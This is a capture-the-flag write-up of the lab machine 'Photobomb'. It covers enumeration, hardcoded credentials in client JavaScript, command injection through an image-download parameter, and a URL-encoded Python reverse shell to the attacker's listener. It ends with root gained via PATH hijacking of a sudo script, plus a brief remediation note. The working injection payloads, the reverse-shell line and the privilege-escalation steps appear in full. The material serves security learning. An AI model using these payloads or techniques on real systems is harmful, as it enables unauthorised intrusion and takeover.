Photobomb - Writeup

Abdoulkader MOUSSA MOHAMED

April 2023

1 Introduction

Photobomb is a website where subscribers can access a wide range of premium photographs and download them in various formats, such as `jpg`, `png`, and with different resolutions like 3000x2000 pixels.

2 Enumeration

```
$ nmap -sV 10.10.11.182
Starting Nmap 7.93 ( https://nmap.org ) at 2023-01-29 14:55 CET
Nmap scan report for photobomb.htb (10.10.11.182)
Host is up (0.048s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.59 seconds
```

According to `nmap`, there are two open services on this machine, namely `SSH` on port 22 and `HTTP` on port 80.
With gobuster, any interesting file or directory was discovered.

3 Access the website

On the website, this page `http://photobomb.htb/printer` requires authentication to access.

However, by analyzing the JavaScript code, we found some interesting thing in `photobomb.js` :

```
function init() {
    // Jameson: pre-populate creds for tech support as they keep
    forgetting them and emailing me
    if (document.cookie.match(/^(.*;)?\s*isPhotoBombTechSupport\s
    *=\s*[^;]+(.*)?$/)) {
        document.getElementsByClassName('creds')[0].setAttribute('
    href', 'http://pH0t0:b0Mb!@photobomb.htb/printer');
    }
}
window.onload = init;
```

After visiting `http://pH0t0:b0Mb!@photobomb.htb/printer`, the authentication requirement is bypassed.

We now have access to numerous premium photographs that are available for download. Let's choose and download one of them.

Using `Burp Suite`, we can make a little modification to the request in order to test whether the server can execute our command.

```
photo=voicu-apostol-MWER49YaD-M-unsplash.jpg&filetype=jpg;echo '
    hello' | nc 10.10.16.18 2222 &dimensions=3000x2000
```

We launched our `netcat` listener and then we submit the request.

```
$ nc -kl -p 2222
hello
```

That's mean that our command has been executed by the `server`. Now, we have to set up a `reverse shell`.They are many reverse shell generator online like here. We generated with it the following one :

```
python3%20-c%20%27import%20socket%2Csubprocess%2Cos%3Bs%3Dsocket.
    socket%28socket.AF_INET%2Csocket.SOCK_STREAM%29%3Bs.connect
    %28%28%2210.10.16.18%22%2C2222%29%29%3Bos.dup2%28s.fileno
    %28%29%2C0%29%3B%20os.dup2%28s.fileno%28%29%2C1%29%3Bos.dup2%28
    s.fileno%28%29%2C2%29%3Bimport%20pty%3B%20pty.spawn%28%22%2Fbin
    %2Fsh%22%29%27
```

Note that we encoded the URL in order to ensure that the reverse shell would be successful.

Now we enter it `burpsuite`, we launch a netcat listener, we submit the request, we successfuly get a reverse shell and we get our user flag in `user.txt`.

```
burpsuite: photo=voicu-apostol-MWER49YaD-M-unsplash.jpg&filetype=
    jpg; python3%20-c%20%27import%20socket%2Csubprocess%2Cos%3Bs%3
    Dsocket.socket%28socket.AF_INET%2Csocket.SOCK_STREAM%29%3Bs.
    connect%28%28%2210.10.16.18%22%2C2222%29%29%3Bos.dup2%28s.
    fileno%28%29%2C0%29%3B%20os.dup2%28s.fileno%28%29%2C1%29%3Bos.
    dup2%28s.fileno%28%29%2C2%29%3Bimport%20pty%3B%20pty.spawn
    %28%22%2Fbin%2Fsh%22%29%27 &dimensions=3000x2000

$ nc -lvnp 2222
...
$ id
uid=1000(wizard) gid=1000(wizard) groups=1000(wizard)

$ sudo -l
sudo -l
Matching Defaults entries for wizard on photobomb:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/
    bin\:/sbin\:/bin\:/snap/bin

User wizard may run the following commands on photobomb:
    (root) SETENV: NOPASSWD: /opt/cleanup.sh
```

With `sudo -l`, we can see that Wizard can execute the script `/opt/cleanup.sh` with root privilege. Let's read it content :

```
$ cat /opt/cleanup.sh
#!/bin/bash
. /opt/.bashrc
cd /home/wizard/photobomb

# clean up log files
if [ -s log/photobomb.log ] && ! [ -L log/photobomb.log ]
then
  /bin/cat log/photobomb.log > log/photobomb.log.old
  /usr/bin/truncate -s0 log/photobomb.log
fi

# protect the priceless originals
find source_images -type f -name '*.jpg' -exec chown root:root {}
    \;
```

In this program, we can notice that the full path to `cd`, `find` and `chown` is not given. We can actually create our own version of these programs, modify the `PATH` environment variable so that the script execute them. We chose to do it with `find`.

```
$ echo "/bin/bash" > find
$ chmod +x find
$ sudo PATH=$PWD:$PATH /opt/cleanup.sh
# id
root@photobomb:/home/wizard/photobomb# cat root.txt
rootflag******
```

4 How to correct it

We were able to exploit a vulnerability in `/opt/cleanup.sh`. This was because the developer did not provide absolute paths for programs such as `cd`, `find`, `chown`. It is important for developers to ensure that they provide `absolute paths` for the programs they use.